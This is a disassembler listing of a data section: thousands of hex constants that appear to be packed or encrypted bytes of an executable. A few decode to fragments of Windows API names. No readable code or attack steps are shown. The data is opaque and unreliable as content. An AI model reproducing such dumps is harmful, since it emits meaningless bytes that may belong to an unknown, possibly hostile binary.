		dd 75B8B9ECh, 4B4F9969h, 13261098h, 80535306h, 404C244Fh
		dd 6A91EB4Eh, 1304B764h, 87EB5F47h, 8C6439Ch, 0DB86C20h
		dd 0ABBAE88Ch, 6A4263C7h, 0D72F5D34h, 0C6C70C11h, 6359F460h
		dd 0B2C87DAFh, 0B8500460h, 91223F0h, 8C1911ECh,	0EEC86154h
		dd 8359C80Bh, 4D8351C7h, 60C07CC8h, 5778EBF1h, 45F1C28h
		dd 5AF08EC6h, 0AC0B1B6Bh, 4C330E8Bh, 9899DAB7h,	213976D0h
		dd 51A6C8B5h, 24CFB833h, 0A2893E89h, 4420FCBBh,	527DB884h
		dd 84AF6425h, 477E97D6h, 0C208C683h, 5ECF72F0h,	0CC0400A7h
		dd 5F78D81Dh, 0D574C4C7h, 0AE075328h, 0D1350CBFh, 280F474Ch
		dd 666A9F11h, 138B67E8h, 25FF2C11h, 91054808h, 4C8C8E7h
		dd 0F410F800h, 919AC16Ch, 0CCECF0h, 0EC27E819h,	0DCE08C8Ch
		dd 0F33D5100h, 767D1BF6h, 7208F58Dh, 87E98114h,	162D662Dh
		dd 85EC7F6Fh, 0EC731701h, 0C48BC82Bh, 8BE18B0Ch, 0B748C8F1h
		dd 0C33140C1h, 8C88804Fh, 8CC8869Fh, 60B8E999h,	0C96F6029h
		dd 3A1D77C9h, 88C813h, 0F4F7284Ah, 19930520h, 7E1680E1h
		dd 0D03DCC39h, 271B34F7h, 6F5085A8h, 0DF1B4820h, 0D97972Eh
		dd 2C32132Bh, 2A7410DCh, 4BCB3580h, 6C1C2F7Ch, 0CB203A27h
		dd 142FD6E5h, 30585811h, 0AC765CDAh, 132B805Fh,	0E8112898h
		dd 578C2089h, 9F7202A6h, 0E6B5BFE5h, 6D029709h,	70636D65h
		dd 65739979h, 97FCB3B9h, 7302BE74h, 656C7274h, 0C302C56Eh
		dd 6BCFDD3Bh, 1D616309h, 0D3A631BAh, 3F7FB76Ch,	5940333Fh
		dd 2505841h, 0F0F5A40h,	0F837FD32h, 0F490E3Ah, 7865AACAh
		dd 74706563h, 6EDD685Fh, 725243D1h, 43023DC1h, 0ADB3696Fh
		dd 491BB2FDh, 7878435Fh, 48758546h, 0DEA3781Dh,	4513AF0Ah
		dd 6C825F48h, 0BD42676Fh, 0D0310B41h, 7B545243h, 3DB67D9Ch
		dd 14E4957h, 38F0C45h, 0B6418A6Ch, 7933DEE0h, 240BAA0Bh
		dd 76A83743h, 0BDBFB542h, 54600D60h, 7474DEDBh,	6FD35265h
		dd 0B7BA8105h, 37FFDB6h, 0E697257h
dword_4439A4	dd 73966250h			db 73h,	4Dh, 1Bh
byte_4439AB	db 72h			; DATA XREF: sub_44A577+3o
		dd 0EED7FB9Bh, 470189C7h, 644113F6h, 11177264h,	0A5D82E67h
		dd 6C75213Ah, 0D8095F4Fh, 356FFDAh, 74726956h, 416C6175h
		db 84h
dword_4439D5	dd 0A84452Ah			db 0C1h, 1Ch, 75h
		dd 4C310261h
		db 35h
dword_4439E1	dd 0FFEA9BB5h	dword_4439E5	dd 63695433h			db 6Bh,	43h, 6Fh
		dd 2074E75h, 86B60649h,	2BD5AEEDh, 2E64656Bh, 97670363h
		dd 0C04AEB57h, 50754D41h, 930F6555h, 0A1364DEAh, 0DAD1452Fh
		dd 5961FDFEh, 6C5F0388h, 0F500DB63h, 461D5302h,	0A56DBC80h
		dd 0D6D6710h, 9E47014Fh, 8BDD70E0h, 0B8F6F25h, 0D5797021h
		dd 0A66BF6B6h, 0F795323h, 1EBE44EBh, 0C5AE6ECh,	27316F1h
		dd 4E32335Bh, 26B2BB6h,	497530D7h, 0E6C8718Ch, 6525CB68h
		dd 0DF68AD06h, 6F70AA96h, 1870B0A3h, 70616E53h
		db 61h,	6Bh
dword_443A76	dd 6F2846DDh			dw 0D51Bh
		dd 1E627F43h, 82DB784Bh, 6D654144h, 0BB4645DBh,	4EA57C33h
		dd 32915EAh, 37140B53h,	0EC16D8h, 6E1A2FDAh, 0F92FD230h
		dd 0D5AACD86h, 0C85AC3ACh, 4CF2DAD6h, 11A04561h, 66F74685h
		dd 76453B9Dh, 0F4A1FAEh, 0C2B46064h, 7F7AAEh, 49FB6544h
		dd 671E886Fh, 4C76D6D5h, 1F31E500h, 80007965h, 2ED56137h
		dd 5DC88702h, 13868D96h, 6592453Ch, 4466123h, 68D80160h
		dd 426C2553h, 0F8D4CF75h, 4902A900h, 2DEB721Ch,	0AD6C735Bh
		dd 430A7043h, 53C2694Ch, 7386C9BDh, 765F3D21h, 4B08C288h
		dd 9F79D528h, 0F436BBF1h, 0FF501C68h, 45007D18h, 0F6532EDBh
		dd 69694508h, 9F685C64h, 428DB76Ah, 146C2767h, 0CA267942h
		dd 55D1CE6Eh, 6927284Fh, 330787Ah, 9B556309h, 6AB00F45h
		dd 0F8DFE9h, 3C52454Bh,	5D0BC74Ch, 2D870A9h, 6682635Dh
		dd 0C2187B71h
		db 8Ch,	25h
dword_443B72	dd 71D6FC80h			dw 0E9C3h
		dd 65061789h, 64D07267h, 3B36ED25h, 0E3007Ch, 553F0CAFh
		dd 76B65A53h, 1C5761E1h, 756AF900h, 0B06BB3EEh,	149C009Dh
		dd 17D73B7h, 0ADC936C3h, 7075126Fh, 0A7759656h,	6901621Eh
		dd 343D01A8h, 16F0528Bh, 0C620D48Eh, 0F8A9654Bh, 4336440Dh
		dd 9A3034CCh, 0D6D8CC1Fh, 20EC3BDFh, 56444112h,	4B83496Fh
		dd 25617942h, 27556F43h, 67856C11h, 47300F66h, 390F5475h
		dd 0D6036B0Dh, 916F1F49h, 5160AE3Ch, 0FFCE0084h, 3F50DFD6h
		dd 60335C33h, 3A336C33h, 3380337Ch, 0FF90338Ch,	33FF06FFh
		dd 33B933AFh, 1BEB33C4h, 22340934h, 53343134h, 79345A34h
		dd 0FF348434h, 0A8FFFFFFh, 0CC34BB34h, 634F634h, 31352B35h
		dd 4E353B35h, 7D355D35h, 8E358835h, 9D359335h, 0FF35A735h
		dd 0B4FFFFFFh, 0EA35D335h, 1035F535h, 40363536h, 5B364836h
		dd 66366136h, 90367736h, 0AB369736h, 0FF36B236h, 0C2FFFFFFh
		dd 0E636D136h, 18370436h, 2A372337h, 53373937h,	6F376837h
		dd 0F237C237h, 6937F937h, 5638B738h, 0CCFFFFFFh, 0EB38DE38h
		dd 2938FF38h, 5C395039h, 94398039h, 0A5399A39h,	0A539B839h
		dd 0FFFFFFFFh, 39CB39C5h, 39D839D2h, 39E539E0h,	3A0D39F8h
		dd 3A4F3A48h, 3A923A84h, 3AE43AA5h, 0FF3F3AEDh,	3BF16FFFh
		dd 0E273C12h, 3F3C383Ch, 0A33C5E3Ch, 0BE3CB13Ch, 43CF23Ch
		dd 0FF3DC73Dh, 0E5FFFFFFh, 133DF53Dh, 343E183Eh, 793E3A3Eh
		dd 983E7F3Eh, 503EE93Eh, 643F573Fh, 7B3F6B3Fh, 3F3F863Fh
		dd 98FFC34Ah, 0D13FCB3Fh, 0F13FEC3Fh, 73200F3Fh, 0FFFE302Ah
		dd 31B0FFFFh, 330A31B5h, 332A3320h, 33B03337h, 355333B5h
		dd 36153566h, 3633362Ch, 3657364Ah, 0FFFFFFDCh,	36ECC3EFh
		dd 37B43758h, 37F437C8h, 383637FAh, 38473840h, 38873859h
		dd 38A03899h, 0BFFF38A6h, 38ACFFFBh, 38B838B2h,	38C438BEh
		dd 0D1D838D2h, 39283922h, 393D392Eh, 39683951h,	40043984h
		dd 3990E358h, 9200F0ACh, 0FF8A1281h, 0FF65F7D0h, 0D00F75ABh
		dd 0BE6E3149h, 1ABF031Ah, 37DD0715h, 4D687CDFh,	37361AADh
		dd 3F1AB44Dh, 1AB868F6h, 4F522730h, 69E71464h, 5076863h
		dd 0B535F700h, 727CE4B9h, 31400140h, 2EB079Fh, 97139ABEh
		dd 0D2C31A0h, 0E9D8C80Bh, 403F601h, 7BC51927h, 0CA3BA0F2h
		dd 0DB0725FEh, 7C538A31h, 34603A30h, 0CEC2689Fh, 0E00492BDh
		dd 304F2338h, 0BC28A703h, 831CC840h, 2A7676A9h,	295407A3h
		dd 0A207602Bh, 7628C2Dh, 642B3B92h, 7461525Eh, 80FBE761h
		dd 46435307h, 0D8C80731h, 58DD65B2h, 2307AF54h,	0B34F072Ch
		dd 0E21D0A8Dh, 0D19F2Eh, 98A323EBh, 780F37Dh, 60E13B57h
		dd 2B27F14h, 0ED07C003h, 7F314651h, 0EB0332E2h,	0ACB36CEh
		dd 32F61833h, 0AA0BC013h, 9A69A603h, 60DE94A6h,	0B2C8384Ah
		dd 10FA9AEBh, 7A8B267Fh, 34D34433h, 3BC6375Dh, 7E9603B2h
		dd 34D3656Ah, 2E3E5E4Dh
		db 16h
dword_443EA1	dd 0A69A31FEh			db 69h,	9Ah, 0E6h
		dd 8CA6B8D0h, 9630E374h, 93315C6Dh, 0DF27025Bh,	4AA40414h
		dd 83535126h, 722EFFC9h, 0C1F954BFh, 20BB5051h,	0EAB75F20h
		dd 0C5FC821Fh, 7D8B2856h, 88B9C5FCh, 778297D4h,	0F3C0332Eh
		dd 358B5DABh, 0B73D0328h, 88A06E89h, 0E88845E4h, 6C8C1405h
		dd 0E08EE93h, 0D8D41DE4h, 872321C8h, 78DCD4D8h,	0E0C87632h
		dd 5DC0EE0h, 0EF92E4ECh, 0AD6E123h, 0B9FFF4FCh,	0C0839EC1h
		dd 0AC04133Ch, 33FC4EA6h, 0B78239F6h, 0F875F772h, 68144875h
		dd 382205FCh, 0CCD6646Ah, 0C4C83DF7h, 13221B22h, 333BEF18h
		dd 1C1634D9h, 0FF147414h, 500F3870h, 1682BAFBh,	1009FC8Bh
		dd 0A214EAh, 0E0CCBE7Ch, 0E14BF8D8h, 0CC86192Eh, 0F105F7Dh
		dd 1CA8EB7h, 70AC763Fh,	8D282A21h, 3B07F1BEh, 0C81274C7h
		dd 8BFFEEF6h, 88B0450h,	890A8950h, 441B0451h, 1DE8EB5Eh
		dd 3D8FB7D4h, 588D3F72h, 3D831FC4h, 4192C60h, 5B6F4175h
		dd 4E8D0CF1h, 0B02BA3Ch, 0CD404688h, 0A1DB0FD8h, 0C91AD24Ch
		dd 1D40568Ah, 23D9EBA0h, 4ABBB640h, 0EE76FFDCh,	0B67E10E1h
		dd 8D2E3407h, 354F4786h, 528FB10Ch, 0DC560114h,	141AFF03h
		dd 0D10E87A9h, 85F88B2Eh, 55B41FFFh, 8A973F3h, 186783h
		dd 11C47C7h, 73750DE1h,	6240600h, 8D0E460Dh, 4F8FB28Eh
		dd 4789FBC7h, 9E258A20h, 0F7768688h, 1A67F6B7h,	8904438Bh
		dd 38041F1Fh, 8A047B89h, 0DB361896h, 0AC97B367h, 0D0157505h
		dd 8E760040h, 47585EECh, 0C4B6FF4Dh, 7607EB0Bh,	1B1C3658h
		dd 8550A536h, 0E1803D07h, 9B3C2F34h, 636951CDh,	7194F8Bh
		dd 66C60189h, 4889DEC9h, 0C260735Ah, 6E7B645Eh,	0B2ABC7C0h
		dd 0B008B6C4h, 0CDDD3399h, 5AD0BD02h, 0B6579D83h, 0F21D8BB8h
		dd 2B0AB84Dh, 2AC38011h, 2B5906FBh, 0D31EC01Bh,	0D0DF0BB9h
		dd 8E5D8D30h, 247C83CCh, 0E10FD308h, 99012DFEh,	8B470Ch
		dd 0A06B08A3h, 0B1B6C058h, 96CCC9C2h, 60170DD7h, 0BFB89A4Bh
		dd 0EDB79BBh, 5E8B7FE0h, 0E3B8060h, 4B8B4475h, 0C2538BF8h
		dd 0F0176D4Dh, 0C0BF0B7h, 0F981FF33h, 0F445D9E0h, 9BD2C410h
		dd 4174F8EDh, 3974E40Dh, 52FB5D8Dh, 4DBB75FBh, 7751509Ah
		dd 9643E50h, 4B0DBF51h,	0D2EA97E0h, 89D2322Fh, 4689187Eh
		dd 768B301Ch, 8BC4C225h, 0D9F044C7h, 51CD16F0h,	4C6030FFh
		dd 0EDCA7454h, 6B9F2D23h, 58F685F0h, 46C60CDBh,	0BF63DB64h
		dd 6846DDFBh, 44B3B89h,	153C850Fh, 0F0DF983h, 0F41E3382h
		dd 1A37DB37h, 0CC255D8h, 2210CA3Bh, 16F87D81h, 9F7FC1EAh
		dd 46C70975h, 6673C618h, 0D85C23F6h, 8D1A8BE3h,	1C4E719Fh
		dd 50C488Dh, 0F6DBE106h, 0D7408B20h, 892455CBh,	874AEC5Dh
		dd 46BFB16Fh, 878D928Fh, 6F42BE4h, 0C6783189h, 7089C2C8h
		dd 13CB9756h, 42005D8Bh, 430F585Bh, 0BAC6481Dh,	0CD20CD2Ch
		dd 7746B746h, 0D52B6857h, 0F7B910F9h, 6185C1DBh, 3135170Bh
		dd 0AC0C1DF4h, 8A0D0B2Ah, 3BE4B574h, 0B5A1286Eh, 4189DB80h
		dd 49F0459Ch, 61704444h, 0E689E086h, 76704EA6h,	6F1B272h
		dd 569BEC97h, 88609F2Ch, 0CB73C5F5h, 0EE437389h, 0C68762CDh
		dd 26572278h, 8BE0861h,	0C5DF169Fh, 0BDDB6205h,	1CBB1424h
		dd 0DE778BC8h, 9399CC3Eh, 0CF17DCDh, 10020C39h,	0B3E1D3B8h
		dd 5751CEBh, 0A3030BE8h, 0E04AEB30h, 0D866CF6Ch, 0D12DD56h
		dd 56CCC941h, 0AF492043h, 25163C6Bh, 5D410052h,	490D5203h
		dd 732F9Ah, 57005F1Bh, 24C15B4Eh, 0D1102405h, 1BA2DC08h
		dd 8D7A5070h, 538A305Eh, 0BBA14566h, 0AFC45h, 0F33BFA05h
		dd 0B90BB5D9h, 121C0972h, 0EF20CF0h, 64F3E6CDh,	18E87EF4h
		dd 8EEC1AEAh, 8B5EC6FFh, 0C084D7F8h, 45AB2175h,	0F82140Ch
		dd 7E85927h, 23350332h,	363B236Ch, 418A564Ch, 3F6EA48h
		dd 11BB5B91h, 3F0B02C2h, 0E4880C06h, 10E7C8F3h,	0D8140E1Ah
		dd 1C0BC018h, 0F9F9F9E4h, 103E2079h, 28137C24h,	9A2C0CC8h
		dd 85AE1C0Dh, 2847663h,	85CC3A5Dh, 0DDFD0A66h, 0D62C144Ah
		dd 641BADEEh, 20038B1Eh, 0E68A17Ch, 0FE420789h,	4D8F9F4h
		dd 89047808h, 0C606EB3Dh, 1B03E42h, 9142A75Bh, 0C77F2Eh
		dd 5D8E832Fh, 18069C6Bh, 2259344Bh, 6BDED942h, 31C2C0Bh
		dd 389F1863h, 0EB3A9BB4h, 0B58FDE02h, 0F709BE56h, 0DF58878Ch
		dd 5CA24CCEh, 9BDBB60Ch, 4EB89331h, 7D834B58h, 0FF21610Ch
		dd 83D2C190h, 9D753E78h, 1EEBCE2Eh, 7E1840C7h, 3A7B115h
		dd 35201556h, 78E0D22Fh, 40592A5Eh, 78100218h, 527EF7CCh
		dd 8A1850ABh, 0A06D6015h, 22F62EB2h, 5672854Ah,	0C68C5873h
		dd 0A274EB53h, 0ECEB36B2h, 0DD1CC631h, 5E75DE56h, 0C86C0628h
		dd 0CAA37DEh, 72582834h, 0E223C36Bh, 4E57F85Dh,	0B51183E0h
		dd 728F68C0h, 2E79D2FCh, 0B7E9FBC5h, 7B548FE4h,	0B86005EBh
		dd 64568D72h, 7F740C55h, 7F89BFDBh, 80F0EB36h, 3700647Eh
		dd 8B53684Eh, 418B6051h, 52305A6Ah, 810CE91Bh, 708AFFBh
		dd 0C0A90DAEh, 0D8CFA285h, 0B22C0375h, 66A5F4ADh, 18B81058h
		dd 0B08428Bh, 3495C807h, 0A95B7348h, 0EC1830FCh, 1029EB1Eh
		dd 7DCDD08Ah, 0AB5C0461h, 0BBD402E0h, 9774CFEh,	2CF8190Fh
		dd 0E3533F5Fh, 480F2C41h, 0DB85D8FCh, 0DFFFFCAEh, 2955F1D5h
		dd 8FA8110h, 75400100h,	0E718D47h, 0A5247B8Dh, 288BA566h
		dd 15AD5B10h, 765C3007h, 0DE90542Bh, 638369F3h,	0DB3019C4h
		dd 0CEB1DAEh, 0F612201Ah, 0DD6EDC1h, 66040966h,	20A11407h
		dd 95DD0B29h, 36EBED9Eh, 0D618094Eh, 0AB66AB4Dh, 0F3352BDBh
		dd 0F63E2A07h, 0D80B1F42h, 143056CEh, 93ED0C27h, 947CDB1Ah
		dd 51140A11h, 0DC38BC52h, 0E0DBC3DDh, 10AF930Ch, 14708D3Dh
		dd 8070296h, 67D9D333h,	87DE8D59h, 8B212A1Ch, 0B2055590h
		dd 57B216Fh, 5850D771h,	0DB2022EBh, 0F06D03Fh, 528B921Bh
		dd 0F1218330h, 7E164C50h, 37694CB8h, 4513C50h, 2325833Ch
		dd 9980F852h, 23183A00h, 0ECACAF4Fh, 0F18BD33Ch, 9F1DCF0Bh
		dd 3BB90510h, 0F09688F9h, 3B60A5FCh, 80C73294h,	0C4788D52h
		dd 5F0E7D3Bh, 407CA2h, 478B4097h, 0E869FC3Ch, 8708499h
		dd 0A8576CD3h, 0E7035A1Dh, 8FE31CFEh, 0D77241D8h, 0D72A528Ah
		dd 8C3118EBh, 0F246170h, 770C3D20h, 2F09DF24h, 3FF4BE0Ch
		dd 0E33748A7h, 4AF4BEEFh, 0F77D89CFh, 5B3ADCB8h, 0F8B6B6FBh
		dd 0E7B40118h, 0E141F6FCh, 0FBBB9AD7h, 0F3A6B674h, 1BEDB376h
		dd 9A3A1948h, 0E2447F83h, 3661D051h, 0D3C11663h, 0B2311644h
		dd 0E552D195h, 28F60D8Bh, 0D3E3A2BAh, 76A71E56h, 2254AA60h
		dd 61A374E0h, 0A9F97FFFh, 8B3A6253h, 118BC14Dh,	674D285h
		dd 108BC28Bh, 0E083F6EBh, 7BAE16C6h, 0A853B4F4h, 2F8EEB0Ah
		dd 4B2D58EEh, 20830CA6h, 7682801Ah, 0CF132974h,	845114A0h
		dd 0C39005EAh, 4D425638h, 0EF143F96h, 0BF76BEFh, 0D08699FFh
		dd 460A06BAh, 637C5060h, 8CBB07BCh, 0BAA83986h,	34F4B3D3h
		dd 670C10E3h, 3CA22464h, 2321A792h, 313F077h, 0DC5BF86Ch
		dd 0D6A5C7Bh, 755A03FFh, 4BA58B19h, 0A17C112Ch,	7744A750h
		dd 0E519722Dh, 67B6FB5Bh, 2A4B0306h, 18591CEBh,	488B0A73h
		dd 0F82376CFh, 731477CEh, 13EB4F05h, 2D08401Dh,	66B41AD0h
		dd 0A9EB232Ch, 0D5EADC1Bh, 148B2C0Bh, 0F67B3602h, 0BA6739C1h
		dd 108FC16Bh, 13DC1084h, 36DCD85Fh, 18A508B3h, 27F7620h
		dd 2DF8207Dh, 14045F2Dh, 34F46583h, 76FFFE62h, 40DBBF0Dh
		dd 184D6889h, 0C33DD950h
		dd 731C7D39h, 1BE86097h, 452BC7EBh, 4BA2B11Ch, 21FD3AB0h
		dd 73FF4043h, 67DF7C38h, 46EC9EC5h, 40538A24h, 80F89927h
		dd 800A0D7Fh, 2BBA528Bh, 0B2C9F475h, 4C4F7815h,	0EC343BC2h
		dd 36360580h, 66342640h, 7565D81Dh, 5EB35E24h, 41BA68EBh
		dd 6846A16Bh, 0C137C985h, 51D855C0h, 79834FEEh,	0E1A949F1h
		dd 25746152h, 89540849h, 0CB6359B2h, 14E2E7C5h,	0DA850B78h
		dd 8014F80Fh, 781A1C60h, 2155364Ch, 2E0A5F6h, 0E182A5F3h
		dd 1DA4F303h, 0F600D270h, 7C8D0442h, 73D1A10h, 34FC07DBh
		dd 608318B3h, 8CE4D48h,	631B6944h, 83882517h, 8B1055CFh
		dd 1FBBB925h, 73838DF0h, 89113C4Ah, 0D4054042h,	691B133Eh
		dd 0C1A00B3Ch, 30872D08h, 2E93AFB6h, 77F424CEh,	9A23AEF4h
		dd 83C1C099h, 4C08448Dh, 4306085Eh, 7526291Fh, 20D83670h
		dd 0EFE8F2D9h, 3874ECE8h, 48E96C3Eh, 0A27E5148h, 6EE6DF1Ch
		dd 535C73F4h, 44342E54h, 88DB482Ch, 8E44A955h, 2770BF20h
		dd 0F73B156Dh, 710CD0B3h, 743A3C39h, 0CC375BA4h, 4160DFA6h
		dd 0C34049D3h, 0D83A46B2h, 2358BC4h, 0C8AAD6h, 0D79EC342h
		dd 8CD308BAh, 29D63406h, 3F4A376Bh, 0F09C2C64h,	0B805EB30h
		dd 23201C16h, 1CE12CD0h
dword_444804	dd 716C8409h	dword_444808	dd 15348308h	dword_44480C	dd 23889404h			dd 269C0CCFh, 2CF6CA57h
		db 34h
dword_444819	dd 31570902h			db 0Ch,	3Fh, 53h
		dd 0E95AC1C1h
		db 75h,	1Bh
dword_444826	dd 35DB14EBh			dw 0C0ECh
		dd 0BEACD98Bh, 0DA2B2075h, 1393A572h, 0A4D88357h, 0DA12F8FBh
		dd 522C1054h, 61022B74h, 0CDB4D9F1h, 3C75B02Dh,	0B6596CB2h
		dd 2303C6Dh, 0ED24282Ch, 8587B06Eh, 0E62C1074h,	0DC622D2Ch
		dd 511A05AAh, 823AD083h, 0FD099D6Fh, 0FAC28BFh,	28024FB7h
		dd 0FA469AF5h, 0E3DD728h, 0C64B6361h, 21BBF65Bh, 0A028399Dh
		dd 15B7095Ah, 8134080Eh, 0D6E66311h, 21F1DE5h, 0B5CA830Ah
		dd 0B58B9EEBh, 5960168Ah, 88E62015h, 11CCC43h, 6D803BE0h
		dd 7189C06Fh, 459890Bh,	1378C918h, 0CA4F61D8h, 1B22C857h
		dd 8B154870h, 5C137207h, 9436D8C4h, 2F03B04Bh, 1BDB6CB2h
		dd 1842A72Dh, 5A20056Ah, 0EDADC47Eh, 8B34883Bh,	0C23B8104h
		dd 23B35C7Eh, 0EE578DF4h, 0B740368h, 81E9BE53h,	3C1BE756h
		dd 1539E440h, 3E88FFDh,	8B250F85h
dword_444914	dd 6A8E2237h	dword_444918	dd 6177A13Dh			dd 59A258h, 0B38B01A0h,	0DDECA8D4h, 58BEF8Dh, 0FEBDC89h
		dd 6A604324h, 7ED0211Ch, 0BEDAB01Bh, 0BF313990h, 6A3766CEh
		dd 16758A15h, 3BB9EC63h, 231DF033h, 7136EC6Eh, 354D738Bh
		dd 77096418h, 0DE7B574Dh, 58B65968h, 544C3005h,	1B1830B4h
		dd 0D6CB2E46h, 5C480C18h, 1950AE54h, 345979ECh,	541A125Ch
		dd 0AFFE1DB7h, 90E80DBBh, 4059D8Ch, 0C7445389h,	0A31C4800h
		dd 291A7D2Bh, 0BEC63B01h, 44DB0293h, 0C77018EAh, 53067B43h
		dd 10B7631Eh, 0A48EBA22h, 96F5C03Eh, 4CC6063Bh,	840C3421h
		dd 0B9A0E512h, 5D146130h, 0BB354884h, 3526D721h, 29E80E2Ah
		dd 0F758C907h, 78A6B259h, 916B570Ah, 0B58A8468h, 0F7B1875h
		dd 29DE006Eh, 1A6FD40Ah, 7A8D1B6Ah, 9F075910h, 1858E02Ch
		dd 0BFF3E14Dh, 2E1D7C06h, 105109C9h, 0A050984Eh, 991A3700h
		dd 323243B7h, 46326B86h, 4DCE0CFCh, 398CA64Dh, 665BA360h
		dd 0B6320AB4h, 0AD70D6Dh, 4A31AA64h, 77597A08h,	0D1DED8FBh
		dd 0E0CA664Ah, 324B14AAh, 42C08571h, 0C681181h,	5FA8939Ch
		dd 605C47ABh, 14B98F0Ch, 0D3CB428Eh, 530084F2h,	843B1931h
		dd 5CBB800Eh, 0EC278A60h, 90A46ECCh, 8D8066E2h,	670A4E5Ch
		dd 0C46E4145h, 0FA008897h, 25300C88h, 38EC8191h, 2BC41D10h
		dd 125725CCh, 0CD6807BFh, 3304B9AEh, 0E6C3BAFFh, 0D89680D9h
		dd 0FC04DCDAh, 3B3E6C9Eh, 0CA0CC812h, 0D010CC0Eh, 0D9910B18h
		dd 0D41AD27Ch, 9466F820h, 36DD028h, 2CE213E0h, 0D5D40FD2h
		dd 0A2531740h, 0A0083056h, 0C228656Dh, 995D8D57h, 0A7365B61h
		dd 0C80A1ED6h, 0B7580C81h, 0D011CB21h, 500C83Bh, 0F6C8B7Dh
		dd 11D83B18h, 788C3DB6h, 3FEE2284h, 0ECBA1F6Fh,	2004B809h
		dd 7F0C8DF8h, 0B419E7C1h, 48EEC42Dh, 44D521C4h,	77F4DC07h
		dd 56EFACE8h, 53BF773Ah, 8D458189h, 0D106DC60h,	0F6E0B541h
		dd 96DE8C00h, 4D5B17A0h, 7D318BE0h, 4581C128h, 0AFAC99A0h
		dd 0F4BBB9A2h, 0BAB60DFFh, 8DC2FF50h, 32B87373h, 6A9A2E89h
		dd 7A8DDF00h, 0B6E5B5F8h, 0DF86675h, 3040883h, 96FB02ECh
		dd 6F4D68Eh, 114279Dh, 0F0B41BE9h, 0B2176E6Dh, 5E377B85h
		dd 460014F0h, 0FF1E19B9h, 0FEEE150Ch, 0A093A00Ch, 3889CABBh
		dd 0C651E35Fh, 7BD41C31h, 6C6AE279h, 73718B8Ch,	0FE00F4Dh
		dd 2CD3591Bh, 63A239A3h, 0FBC321C3h, 130C1A1Eh,	282B5AD1h
		dd 8C140D71h, 26734182h, 0BA438364h, 0E017750Eh, 8308A80Eh
		dd 9C383597h, 904C0D5Bh, 9BD2F893h, 8128481Ah, 0C401147Bh
		dd 0B80775FCh, 0A6D834ACh, 4637EB2Ah, 0A445B957h, 93C5278h
		dd 5304C053h, 735A01BDh, 682F8740h, 68F14CD9h, 9BBDFDC4h
		dd 3B1D6A5Fh, 0BE4C8BBFh, 8193A354h, 7F061479h,	1AE00A1h
		dd 81208D6Dh, 7605DC38h, 6854D005h, 6001B1Bh, 3C725E2Ch
		dd 2FA39DDDh, 29665D14h, 19112830h, 9C9B584Ah, 582106EAh
		dd 640611BAh, 0E8187151h, 49700E0Eh, 2117F67h, 589B7F08h
		dd 57EE085h, 284A7427h,	0B952211Dh, 7A8D4D10h, 687D49C8h
		dd 468C0C76h, 39578414h, 2BAB7EA4h, 46895F18h, 7C1E8B10h
		dd 150FC0E0h, 0FAC38156h, 0B95E551Dh, 721FF87h,	60C38356h
		dd 9AB8ECEBh, 1995ED51h, 73D64B18h, 7E748253h, 57DACCD5h
		dd 0A577E434h, 0E830B89h, 0AA437632h, 7F478D47h, 9036FF47h
		dd 80CC0BECh, 891840F1h, 87838147h, 579E9707h, 60579E7Ch
		dd 0AC5A2DBDh, 0B43E8750h, 98057D68h, 6B3CA390h, 81E0663Ch
		dd 0C683F06Eh, 7579FF04h, 450C4993h, 2D3218BEh,	1EF65810h
		dd 712CD890h, 4650BE9Ch, 0D0480D8Bh, 0DFFBFEEh,	0D08A147Dh
		dd 0C83B09B8h, 7541588h, 0FF065574h, 0EF3E1A2Dh, 98BC459h
		dd 0F375DF3Bh, 944D1314h, 5379D61Bh, 9E976F9Bh,	56F98C35h
		dd 1E47754Ch, 103844F0h, 0E1584B54h, 57184503h,	0C3C4DE1Ah
		dd 0FDD7CA06h, 25340125h, 9710F750h, 18161CEBh,	0D58C102Eh
		dd 44928733h, 0B618D126h, 1483553Ah, 42F84008h,	0A92F05A1h
		dd 0D0EAB1CAh, 9CAB70BFh, 507C7589h, 0E4E8DF2h,	58EE5589h
		dd 0E6ED1B75h, 0A5A3D35h, 829505B8h, 0BA8083B0h, 9C518C49h
		dd 1C107B9h, 860F5581h,	0A09B0597h, 4E8F0483h, 2A748EEAh
		dd 607EC0E5h, 7480350Fh, 0CA061F1Ah, 0AA3162Ah,	2A895327h
		dd 2654F7C0h, 0E177C928h, 9E4A7461h, 1274F446h,	58A9649Dh
		dd 5847388Ch, 64B7E0F4h, 4F30F400h, 5598430Ch, 0D0278DCAh
		dd 0BA1F7827h, 0BCA23DD7h, 3104CA1h, 0A9422A7Ah, 81E045C7h
		dd 0DD08A840h, 8A5414B0h, 0DF8E76E5h, 0A33772D6h, 0B9D3FF2Dh
		dd 2E0E6A1Fh, 8F3447B4h, 41D60A23h, 0A256C51Eh,	315921ADh
		dd 57361087h, 1C6EB780h, 150F04BDh, 0D7374450h,	9517F3Ah
		dd 0D0B0FA0Ch, 8A99A266h, 0D54C5304h, 9037BE87h, 0A46FC25Ah
		dd 0C7B2FFD3h, 3AC10D10h, 521FEB34h, 0C1D95152h, 387D6A78h
		dd 3056D951h
		db 8, 0C9h, 0Eh
byte_444E5F	db 3			; DATA XREF: .data:off_446A89o
		dd 345653BFh, 2251FA5h,	8CB000E0h, 0D41C27E7h, 80E53AA1h
		dd 3C2D6DBFh, 0F0B31EAh, 0F3DC6887h, 71880C60h,	5F04D947h
		dd 985A1039h, 8AE1A4Dh,	8123FCD0h, 590C86D7h, 26F011FCh
		dd 420C9C87h, 0FCFCF8E4h, 2D812B3Bh, 0D28F5D3Ah, 0C61EE155h
		dd 2C4B0C00h, 0C80CC9D8h, 8080C81h, 0E59193DDh,	80F1463h
		dd 88E408F8h, 8BF8F253h, 0B38DF84Eh, 0E21D6803h, 855DB93h
		dd 9BA68388h, 0F9A5E59h, 842D42Ah, 9E084A89h, 11AF1C01h
		dd 2B651471h, 926F19B8h, 0C7F45E9h, 0D620D5C7h,	454CC803h
		dd 10F2D2C2h, 38BAF3E0h, 1E770C7Eh, 9F210394h, 0CB113108h
		dd 17212162h, 2156D48Ah, 39097EBEh, 0C9347C50h,	73C2D8F3h
		dd 7F04DA2Dh, 1EBEC017h, 0E1449C48h, 0D90D74CEh, 897B7091h
		dd 74C2E36Fh, 3B67B893h, 8740C20h, 77360F35h, 0EB8FECABh
		dd 0A9658D8h, 0B299219Fh, 41431F07h, 810E4112h,	0FE0F5C25h
		dd 81F46D93h, 43037759h, 97D75860h, 0C33490C1h,	0AF4476CCh
		dd 3B21D9B0h, 0EC98AF6Dh, 9A401AA3h, 75095C00h,	84683DECh
		dd 0B75D4E15h, 161C90EDh, 3B0A264Ah, 9A69362Eh,	0F29B08B1h
